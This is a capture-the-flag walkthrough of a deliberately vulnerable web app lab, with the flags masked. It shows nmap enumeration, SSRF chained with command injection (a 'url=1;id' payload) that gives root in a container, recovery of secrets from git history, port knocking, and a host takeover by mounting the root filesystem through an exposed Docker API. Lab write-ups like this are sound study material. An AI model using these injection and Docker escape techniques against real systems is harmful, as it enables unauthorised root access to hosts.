Task 2 - A simple Webapp
Find the flag hidden in the webapp
Launch an enumeration with nmap
1
nmap -sV -sC <ip> -v
1
2
3
4
5
6
7
8
80/tcp open http syn-ack nginx 1.19.6
|_http-favicon: Unknown favicon MD5: 67EDB7D39E1376FDD8A24B0C640D781E
| http-methods:
|_ Supported Methods: GET HEAD
| http-robots.txt: 3 disallowed entries
|_/api/ /exif-util /*.bak.txt$
|_http-server-header: nginx/1.19.6
|_http-title: docker-escape-nuxt
The result show us an nginx server is available on port 80. Let’s try to connect and browse the web server.
The hint of the task tell us to look for a “Well known file”. Searching on google “Well known file” in the context of a web browser show us that their is an existing standard define in RFC8615. A tour on (Wikipedia)[https://en.wikipedia.org/wiki/Well-known_URI] provide us the list of existing .well-known services a web server can implement.
Let’s try some of them in our case to found that security.txt services is implemented.
Inside we have good hint to found the first flag:
1
2
3
4
5
6
7
Hey you found me!
The security.txt file is made to help security researchers and ethical hackers to contact the company about security issues.
See https://securitytxt.org/ for more information.
Ping /******* with a HEAD request for a nifty treat.
Using curl, we can get the first flag:
1
2
3
4
5
6
curl -I http://$TARGET_IP/*******
HTTP/1.1 200 OK
Server: nginx/1.19.6
Date: Thu, 07 Jan 2021 16:40:36 GMT
Connection: keep-alive
flag: THM{***************************}
Task 3 - Root! Root?
Comming back to our robots.txt information discover inside nmap, we have a new endpoint named /exif-util. Let’s connect on it. It was not possible to upload a reverse shell but we had a possibility to inject some external URL inside the endpoint. Habing a look on the exif-util.bak file let us found a new endpoint available on the server “api-dev-backup:8080/exif” Let’s try to invoke this endpoint in the previous /exif-util endpoint.
1
2
3
4
5
6
7
8
9
10
curl http://$TARGET_IP/api/exif?url=http://api-dev-backup:8080/exif?url=
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
curl: no URL specified!
curl: try 'curl --help' or 'curl --manual' for more information
So the backup of exif-util endpoint is basicaly using curl, let’s try to do some inception
1
2
3
4
5
6
7
8
curl "http://$TARGET_IP/api/exif?url=http://api-dev-backup:8080/exif?url=1;id" 6 ⨯
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
uid=0(root) gid=0(root) groups=0(root)
It seems we are running as root! Let’s explore the server We found interresting files into /root but no success. After a second look, we discover a git folder in the hidden files. Let’s use some git command to explore the last commit
Going inside the git folder and run git log
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
commit 5242825dfd6b96819f65d17a1c31a99fea4ffb6a
Author: Hydra
Date: Thu Jan 7 16:48:58 2021 +0000
fixed the dev note
commit 4530ff7f56b215fa9fe76c4d7cc1319960c4e539
Author: Hydra
Date: Wed Jan 6 20:51:39 2021 +0000
Removed the flag and original dev note b/c Security
commit a3d30a7d0510dc6565ff9316e3fb84434916dee8
Author: Hydra
Date: Wed Jan 6 20:51:39 2021 +0000
Added the flag and dev notes
The comment are explicit, so let’s have a look on the first commit
1
git diff a3d30a7d0510dc6565ff9316e3fb84434916dee8
We saw that dev-note.txt contains good hint to progress our research. And a flag.txt file has been deleted but contain the root flag. Root flag or not… After look in details the dev-note file, we know that we are inside a container. Let’s try to escape.
Task 4 - The Great Escape
It seems that there is a way to expose the docker tcp port as explained in the note, Let’s try to knock the ports.
#! /bin/bash
1
2
3
4
5
6
7
8
9
curl $TARGET_IP:42 -m 1
sleep 1
curl $TARGET_IP:1337 -m 1
sleep 1
curl $TARGET_IP:10420 -m 1
sleep 1
curl $TARGET_IP:6969 -m 1
sleep 1
curl $TARGET_IP:63000 -m 1
Enumerate again with nmap to see a new port available with docker behind.
1
nmap -A -v $TARGET_IP -p-
Let’s connect our local docker engine with the remote one
1
2
3
4
5
6
7
8
9
10
DOCKER_HOST=tcp://$TARGET_IP:2375 docker image ls
REPOSITORY TAG IMAGE ID CREATED SIZE
exif-api-dev latest 4084cb55e1c7 4 hours ago 214MB
exif-api latest 923c5821b907 5 hours ago 163MB
frontend latest 577f9da1362e 5 hours ago 138MB
endlessh latest 7bde5182dc5e 24 hours ago 5.67MB
nginx latest ae2feff98a0c 3 weeks ago 133MB
debian 10-slim 4a9cd57610d6 3 weeks ago 69.2MB
registry.access.redhat.com/ubi8/ubi-minimal 8.3 7331d26c1fdf 4 weeks ago 103MB
alpine 3.9 78a2ce922f86 8 months ago 5.55MB
It works!
Lets run our alpine image with a mount of our target / to explore the target filesystem (Possible because docker is executed as root by design)
1
DOCKER_HOST=tcp://$TARGET_IP:2375 docker run -it -v /:/mnt/host alpine:3.9 /bin/sh
We are inside the container with a shell available. Let’s discover the target filesystem by looking into /mnt/host
We found a flag into /mnt/host/root to finalize our room.